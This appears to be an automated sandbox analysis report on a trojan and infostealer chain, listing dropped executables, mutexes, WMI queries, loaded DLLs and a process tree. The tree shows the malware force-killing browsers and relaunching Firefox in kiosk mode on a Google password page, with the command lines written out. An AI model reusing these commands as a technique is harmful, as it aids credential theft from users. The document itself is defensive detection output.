Source: random[1].exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: dbec6bb1cf.exe.5.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, de379087e7.exe, 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, de379087e7.exe, 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@80/26@87/12

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe

Code function: 6_2_049A15D0 ChangeServiceConfigA,

6_2_049A15D0

Source: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\MNQXSBCP.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6240:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5280:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6500:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3608:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6912:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4232:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6204:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2616:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3468:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

Jump to behavior

Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process

Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: firefox.exe, 0000001A.00000002.2829538640.0000014D5591B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: SELECT COUNT(*) FROM autofillDISPLAYED_FILE_RESOURCE_TYPESSAFARI_PASSWORD_PERMISSIONSYNC_BOOKMARK_VALIDATORS<.query<@mozilla.org/remote/marionette;1BOOKMARK_VALIDATORS<.tags</<_GetPaymentMethodsResource_chromeUserDataPathSuffixGetBookmarksResource/migrate/<app.update.altUpdateDirPathremoveFromURLsIfNotBookmarked/<app.update.backgroundErrorsnotification-close-buttonpromiseKeywordsCache/promise<promiseKeywordsCache/promise</<_getChromeUserDataPathIfExistsThe migration included errors._GetPaymentMethodsResource/rows<get _chromeUserDataPathSuffixGetHistoryResource/migrate/<Brave Browser Safe StorageInternal Testing Migratormessage-bar:user-dismissedMicrosoft Edge Safe Storage@mozilla.org/remote/agent;1PREF_APP_UPDATE_BACKGROUNDERRORStoolkit/global/notification.ftlapp.update.backgroundMaxErrorsSYNC_BOOKMARK_VALIDATORS<.kind<supportsLoginsForPlatformsafari-password-permissionPREF_APP_UPDATE_BITS_ENABLEDapp.update.promptWaitTimePREF_APP_UPDATE_SERVICE_ERRORSPREF_APP_UPDATE_CANCELATIONS_OSXapp.update.elevate.maxAttemptsPREF_APP_UPDATE_URL_DETAILSapp.update.service.maxErrorsPREF_APP_UPDATE_ELEVATE_ATTEMPTSSERVICE_UPDATER_SIGN_ERRORPREF_APP_UPDATE_ELEVATE_NEVERPREF_APP_UPDATE_LANGPACK_ENABLEDPREF_APP_UPDATE_LANGPACK_TIMEOUTapp.update.notifyDuringDownloadPREF_APP_UPDATE_SERVICE_ENABLEDapp.update.disabledForTestingapp.update.cancelations.osx.maxapp.update.service.errorsapp.update.socket.maxErrorsapp.update.elevate.attemptsPREF_APP_UPDATE_SOCKET_MAXERRORSPREF_APP_UPDATE_STAGING_ENABLEDPREF_APP_UPDATE_ELEVATE_VERSIONPREF_APP_UPDATE_CANCELATIONSapp.update.langpack.timeoutapp.update.socket.retryTimeoutapp.update.download.attemptsapp.update.langpack.enabledapp.update.download.maxAttemptsapp.update.cancelations.osxPREF_APP_UPDATE_PROMPTWAITTIMEapp.update.elevate.versionapp.update.service.enabledapp.update.staging.enabledSERVICE_UPDATER_COMPARE_ERRORINVALID_UPDATER_STATE_CODEgOnlyDownloadUpdatesThisSessionWRITE_ERROR_DIR_ACCESS_DENIEDSERVICE_UPDATER_IDENTITY_ERRORoldStateTransitionPromisegOtherInstancePollPromisegetPerInstallationMutexNamensIScriptableUnicodeConverterareDirectoryEntriesWriteableERR_OLDER_VERSION_OR_SAME_BUILDSERVICE_UPDATER_NOT_FIXED_DRIVEWRITE_ERROR_CALLBACK_PATHDEFAULT_SOCKET_MAX_ERRORSSERVICE_COULD_NOT_LOCK_UPDATERSERVICE_COULD_NOT_IMPERSONATEWRITE_ERROR_APPLY_DIR_PATHINVALID_UPDATER_STATUS_CODEDEFAULT_SOCKET_RETRYTIMEOUTDEFAULT_CANCELATIONS_OSX_MAXWRITE_ERROR_DELETE_BACKUPLANGPACK_UPDATE_DEFAULT_TIMEOUTSTAGING_POLLING_MAX_INTERVAL_MSWRITE_ERROR_ACCESS_DENIEDWRITE_ERROR_FILE_ACCESS_DENIEDWRITE_ERROR_OPEN_PATCH_FILESTAGING_POLLING_MAX_DURATION_MSSERVICE_COULD_NOT_COPY_UPDATERDELETE_ERROR_STAGING_LOCK_FILEDEFAULT_SERVICE_MAX_ERRORSsessionstore-windows-restoredSTAGING_POLLING_MIN_INTERVAL_MSisServiceInstalled - returning binaryTransparencyResultFilensISupportsInterfacePointer_registeredOnlineObserverUPDATE_NOT_PREF_UPDATE_AUTO_UPDATE_PREF_UPDATE_CANCELATIONS_isMemoryAllocationErrorCodeUpdateService:_attemptResumepollAttemptsAtIntervalRemainingshoul
Source: file.exe, 00000000.00000003.2198569442.0000000005414000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2184709617.000000000540B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

ReversingLabs: Detection: 44%

Source: 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: dbec6bb1cf.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe "C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe "C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe"
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe "C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe "C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001161001\num.exe "C:\Users\user\AppData\Local\Temp\1001161001\num.exe"
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe "C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe "C:\Users\user\AppData\Local\Temp\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe "C:\Users\user\AppData\Local\Temp\A77BGJTTW6SX9ESX.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe "C:\Users\user\AppData\Local\Temp\1001158001\dbec6bb1cf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe "C:\Users\user\AppData\Local\Temp\1001159001\de379087e7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe "C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9686308f-a394-415a-b650-85143ae21422} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d44d6ff10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4328 -parentBuildID 20230927232528 -prefsHandle 4336 -prefMapHandle 4332 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f5cc7a10-42c2-4801-b3a0-593248fdef50} 6104 "\\.\pipe\gecko-crash-server-pipe.6104" 14d5735b310 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2268 -parentBuildID 20230927232528 -prefsHandle 2216 -prefMapHandle 2212 -prefsLen 25307 -prefMapSize 239752 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {25ca59eb-9508-42dd-bcfe-40c1dece1204} 7004 "\\.\pipe\gecko-crash-server-pipe.7004" 1cb6246e310 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1001160001\2155b53b29.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
